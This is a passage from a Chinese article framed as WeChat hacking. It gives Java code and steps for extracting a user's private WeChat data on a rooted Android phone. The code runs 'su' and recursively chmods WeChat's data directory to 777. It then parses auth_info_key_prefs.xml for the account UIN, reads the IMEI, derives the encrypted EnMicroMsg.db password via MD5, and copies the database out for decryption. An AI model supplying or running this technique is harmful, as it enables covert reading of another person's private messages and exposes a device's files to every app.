黑客能入侵微信吗 黑客入侵软件下载( 二 )

  
public static final String WX_ROOT_PATH = "/data/data/com.tencent.mm/";  
execRootCmd("chmod 777 -R " + WX_ROOT_PATH);  
/**  
* 执行linux指令  
*  
* @param paramString  
*/  
public void execRootCmd(String paramString) {  
try {  
Process localProcess = Runtime.getRuntime().exec("su");  
Object localObject = localProcess.getOutputStream();  
DataOutputStream localDataOutputStream = new DataOutputStream((OutputStream) localObject);  
String str = String.valueOf(paramString);  
localObject = str + " ";  
localDataOutputStream.writeBytes((String) localObject);  
localDataOutputStream.flush();  
localDataOutputStream.writeBytes("exit ");  
localDataOutputStream.flush();  
localProcess.waitFor();  
localObject = localProcess.exitValue();  
} catch (Exception localException) {  
localException.printStackTrace();  
每次准备读取数据库之前都需要执行一次该命令 。Process localProcess = Runtime.getRuntime().exec("su")先通过这个命令 , 使得当前app获取到root权限 , 然后再通过chmod命令来修改的data目录的读写权限 , 因为我们需要操作读取的数据库文件以及sp文件 , 所以必须要有文件的操作权限 。  
获取手机IMEI  
IMEI的获取方法就很简单了 , 相信各位都知道吧 。唯一注意的就是要添加权限  
获取的uin  
的uin是存储在SharedPerferences里面 , 所以我们要在目录的shared_prefs文件夹里面查找其存放的xml文件 , 然后去解析它 。  
/**  
* 获取的uid  
* 的uid存储在SharedPreferences里面  
* 存储位置datadatacom.tencent.mmshared_prefsauth_info_key_prefs.xml  
*/  
private void initCurrWxUin() {  
mCurrWxUin = null;  
File file = new File(WX_SP_UIN_PATH);  
try {  
FileInputStream in = new FileInputStream(file);  
SAXReader saxReader = new SAXReader();  
Document document = saxReader.read(in);  
Element root = document.getRootElement();  
List<Element> elements = root.elements();  
for (Element element : elements) {  
if ("_auth_uin".equals(element.attributeValue("name"))) {  
mCurrWxUin = element.attributeValue("value");  
}  
}  
} catch (Exception e) {  
e.printStackTrace();  
LogUtil.log("获取uid失败 , 请检查auth_info_key_prefs文件权限");  
的uin是存放在sharedPerferences文件夹里面的 , 具体路径为datadatacom.tencent.mmshared_prefsauth_info_key_prefs.xml 。让我们来打开这个xml文件看看里面到底是什么样子的 , 还有我们需要的uin到底是存放在什么地方:  

黑客能入侵微信吗 黑客入侵软件下载
  
文章插图  
我们解析xml用的dom4j这个库里面的SAXReader , 如果没有这个库的同学可以去这里下载  
五、生成数据库密码  
这一步比较容易 , 通过拼接字符串以及md5加密后就可以获取到数据库的密码  
六、查找目录下的数据库文件  
因为我们需要通过密码来连接的EnMicroMsg.db文件 , 所以我们需要先通过匹配算法把我们需要的db文件给查找出来 。如果该手机的用户切换过登录账号 , 那么每个账号都会生成一个EnMicroMsg.db , 所以我们要把所有的db文件都给匹配出来 。  
七、连接数据库  
终于到了最关键的一步了 。这时候需要注意两点:  
1.我们千万不可以直接通过net.sqlcipher.database.SQLiteDatabase这个类来连接我们上一步里面查找到的目录下的EnMicroMsg.db文件 , 可能是因为一个数据库文件不能被多次连接的情况 , 只要我们一成功连接上那个db文件 , 的客户端就会自动退出登录 , 并且会出现异常 。所有我现在的做法是把这个db文件拷贝到我们自己的app目录下 , 再进行连接 。


特别声明:本站内容均来自网友提供或互联网,仅供参考,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。